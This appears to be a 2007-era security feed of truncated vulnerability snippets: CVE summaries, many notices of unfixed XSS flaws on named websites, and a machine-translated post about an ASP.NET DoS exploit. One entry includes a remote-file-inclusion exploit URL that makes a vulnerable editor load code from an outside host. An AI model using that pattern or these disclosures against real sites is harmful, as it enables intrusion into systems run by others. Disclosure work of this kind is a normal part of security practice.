CVE-2007-0942

Microsoft Internet Explorer 5.01 SP4 on Windows 2000 SP4; 6 SP1 on Windows 2000 SP4; 6 and 7 on Windows XP SP2, or Windows Server 2003 SP1 or SP2; and possibly 7 on Windows Vista does not properly "instantiate certain COM objects as ActiveX controls," which allows remote attackers to execute...

CVE-2007-2221

CVE-2007-2221 corresponds to a vulnerability in the mdsauth.dll ActiveX control used by Microsoft Windows Media Services within Internet Explorer. The mdsauth.dll COM object can be instantiated via IE, enabling an attacker to overwrite arbitrary files on a vulnerable system, potentially allowing ...

HTMLeditbox & 2.2 >> RFI

+++++++ name & version :HTMLeditbox & 2.2 vendor: http://www.labs4.com by : www.hackerz.ir userz,s3rv3rhack3r,saeidonlylinux,dNetGuru bug : editor.php @include$settingsappdir.'/inc/config.php'; exploit : http://victim/editor.php?settingsappdir=http://shell ++++++...

Unfixed XSS vulnerability at www.webindia123.com

Security researcher cyber, has submitted on 18/04/2007 a cross-site-scripting XSS vulnerability affecting www.webindia123.com, which at the time of submission ranked 11415 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 19/04/2007. It is...

Unfixed XSS vulnerability at support.catalyst2.com

Security researcher KaBuS, has submitted on 16/04/2007 a cross-site-scripting XSS vulnerability affecting support.catalyst2.com, which at the time of submission ranked 41190 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 16/04/2007. It is...

Unfixed XSS vulnerability at support.devil7.com

Security researcher KaBuS, has submitted on 16/04/2007 a cross-site-scripting XSS vulnerability affecting support.devil7.com, which at the time of submission ranked 0 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 16/04/2007. It is currently...

bloofoxCMS 0.2.2 Remote File Include Vulnerabilitiy

""""""""""""""""""""""""""""""""""""""""""""""" """ :: :: ::::: :::: """ """ :: :: :: : :: """ """ :::: :: :: ::::: ::::: :::: """ """ :: :: ::: ::: :: :: :: :: :: """ """ :: :: :: : : ::::: :: :: :::: """ """ """ """"""""""""""""""""""""""""""""""""""""""""""" Xmor$ Security Vulnerability Resear...

CVE-2007-1992

Multiple PHP remote file inclusion vulnerabilities in the comzoom 2.5 beta 2 and earlier module for Mambo allow remote attackers to execute arbitrary PHP code via a URL in the mosConfigabsolutepath parameter to 1 EXIFMakernote.php or 2 EXIF.php in classes/iptc/...

Unfixed XSS vulnerability at www.buho21.com

Security researcher PAtO, has submitted on 04/12/2007 a cross-site-scripting XSS vulnerability affecting www.buho21.com, which at the time of submission ranked 31850 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 04/12/2007. It is currently...

Unfixed XSS vulnerability at unblock7.com

Security researcher koolkeith12345, has submitted on 04/12/2007 a cross-site-scripting XSS vulnerability affecting unblock7.com, which at the time of submission ranked 168195 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 04/12/2007. It is...

Fixed XSS vulnerability at csrf.0x000000.com

Security researcher Fugitif, has submitted on 04/11/2007 a cross-site-scripting XSS vulnerability affecting csrf.0x000000.com, which at the time of submission ranked 108714 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 04/11/2007. It is...

Unfixed XSS vulnerability at www.wondernet24.com

Security researcher BackDoor, has submitted on 04/11/2007 a cross-site-scripting XSS vulnerability affecting www.wondernet24.com, which at the time of submission ranked 0 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 05/11/2007. It is current...

Looked at the foreign cattle people how to tap Microsoft vulnerability-vulnerability warning-the black bar safety net

Ghost boy note: contains a w3wp-dos. c and a PDF document. I also added a download mirror to prevent the official link failure. Information source: 混世魔王 blog w3wp remote DoS due to improper reference of STA COM components in ASP.NET asp.net COM DOS EXP research Cattle below download address. And...

Unfixed XSS vulnerability at mailler2.lwserv1.com

Security researcher www.nullcode.com.ar, has submitted on 04/10/2007 a cross-site-scripting XSS vulnerability affecting mailler2.lwserv1.com, which at the time of submission ranked 112439 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on...

Unfixed XSS vulnerability at mailler1.lwserv1.com

Security researcher www.nullcode.com.ar, has submitted on 04/10/2007 a cross-site-scripting XSS vulnerability affecting mailler1.lwserv1.com, which at the time of submission ranked 112439 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on...

Unfixed XSS vulnerability at www.atea9.com

Security researcher www.nullcode.com.ar, has submitted on 04/10/2007 a cross-site-scripting XSS vulnerability affecting www.atea9.com, which at the time of submission ranked 0 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 05/10/2007. It is...

Unfixed XSS vulnerability at www.toko24.com

Security researcher BackDoor, has submitted on 04/10/2007 a cross-site-scripting XSS vulnerability affecting www.toko24.com, which at the time of submission ranked 0 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 06/10/2007. It is currently...

Unfixed XSS vulnerability at www.kareed24.com

Security researcher BackDoor, has submitted on 04/10/2007 a cross-site-scripting XSS vulnerability affecting www.kareed24.com, which at the time of submission ranked 0 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 06/10/2007. It is currently...

Unfixed XSS vulnerability at www.clasificados1.com

Security researcher BackDoor, has submitted on 04/10/2007 a cross-site-scripting XSS vulnerability affecting www.clasificados1.com, which at the time of submission ranked 194999 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 06/10/2007. It is...

Unfixed Script Insertion vulnerability at upload66.com

Security researcher GURUS, has submitted on 31/03/2007 a Script Insertion vulnerability affecting upload66.com, which at the time of submission ranked 92176 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 31/03/2007. It is currently unfixed. If...